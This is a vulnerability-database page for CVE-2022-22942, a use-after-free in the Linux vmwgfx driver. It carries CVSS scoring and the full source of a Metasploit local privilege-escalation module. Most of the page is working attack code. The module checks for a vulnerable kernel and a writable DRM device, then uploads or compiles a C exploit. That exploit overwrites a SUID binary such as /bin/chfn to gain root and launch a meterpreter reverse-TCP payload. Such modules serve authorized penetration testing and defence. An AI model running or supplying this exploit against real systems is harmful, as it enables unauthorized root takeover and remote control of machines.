Lucene search

K
metasploitH00die, Mathias KrauseMSF:EXPLOIT-LINUX-LOCAL-VMWGFX_FD_PRIV_ESC-
HistoryJan 17, 2023 - 8:30 p.m.

vmwgfx Driver File Descriptor Handling Priv Esc

2023-01-1720:30:36
h00die, Mathias Krause
www.rapid7.com
112
vmwgfx driver
file descriptor
privilege escalation
vulnerability
linux kernel
ubuntu 22.04.01

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

31.3%

If the vmwgfx driver fails to copy the ‘fence_rep’ object to userland, it tries to recover by deallocating the (already populated) file descriptor. This is wrong, as the fd gets released via put_unused_fd() which shouldn’t be used, as the fd table slot was already populated via the previous call to fd_install(). This leaves userland with a valid fd table entry pointing to a free’d ‘file’ object. We use this bug to overwrite a SUID binary with our payload and gain root. Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable. Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Linux::Compile
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc',
        'Description' => %q{
          If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to
          recover by deallocating the (already populated) file descriptor. This is
          wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
          as the fd table slot was already populated via the previous call to
          fd_install(). This leaves userland with a valid fd table entry pointing to
          a free'd 'file' object.

          We use this bug to overwrite a SUID binary with our payload and gain root.
          Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.

          Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Mathias Krause' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],
          [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],
          [ 'CVE', '2022-22942' ]
        ],
        'DisclosureDate' => '2022-01-28',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'PrependFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_OS_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          # seeing "BUG: Bad page cache in process <process> pfn:<5 characters>" on console
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    # Check the kernel version to see if its in a vulnerable range
    release = kernel_release
    unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') &&
           Rex::Version.new(release) < Rex::Version.new('5.17-rc1')
      return CheckCode::Safe("Kernel version #{release} is not vulnerable")
    end

    vprint_good "Kernel version #{release} appears to be vulnerable"

    @driver = nil

    if writable?('/dev/dri/card0') # ubuntu, RHEL
      @driver = '/dev/dri/card0'
    elsif writable?('/dev/dri/renderD128') # debian
      @driver = '/dev/dri/renderD128'
    else
      return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128')
    end
    vprint_good("#{@driver} found writable")

    @suid_target = nil
    if setuid?('/bin/chfn') # ubuntu
      @suid_target = '/bin/chfn'
    elsif writable?('/bin/chage') # RHEL/Centos
      @suid_target = '/bin/chage'
    else
      return CheckCode::Safe('/bin/chfn isn\'t SUID or /bin/chage not writable')
    end
    vprint_good("#{@suid_target} suid binary found")

    if kernel_modules&.include?('vmwgfx')
      return CheckCode::Appears('vmwgfx installed')
    end

    CheckCode::Safe('Vulnerable driver (vmwgfx) not found')
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # backup the suid binary before we overwrite it
    @suid_backup = read_file(@suid_target)
    path = store_loot(
      @suid_target,
      'application/octet-stream',
      rhost,
      @suid_backup,
      @suid_target
    )
    print_good("Original #{@suid_target} backed up to #{path}")
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

      c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')
      c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called
      c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target
      c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload

      upload_and_compile executable_path, strip_comments(c_code)
      register_files_for_cleanup(executable_path)
    else
      unless @suid_target == '/bin/chfn'
        fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems')
      end
      vprint_status 'Dropping pre-compiled exploit on system...'
      payload_path = '/tmp/.aYd3GAMlK'
      upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled')
    end

    # Upload payload executable
    print_status("Uploading payload to #{payload_path}")
    upload_and_chmodx payload_path, generate_payload_exe
    register_files_for_cleanup(generate_payload_exe)

    print_status 'Launching exploit...'
    output = cmd_exec executable_path, nil, 30
    output.each_line { |line| vprint_status line.chomp }
  end

  def cleanup
    if @suid_backup.nil?
      print_bad("MANUAL replacement of trojaned #{@suid_target} is required.")
    else
      print_status("Replacing trojaned #{@suid_target} with original")
      write_file(@suid_target, @suid_backup)
    end
    super
  end
end

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

31.3%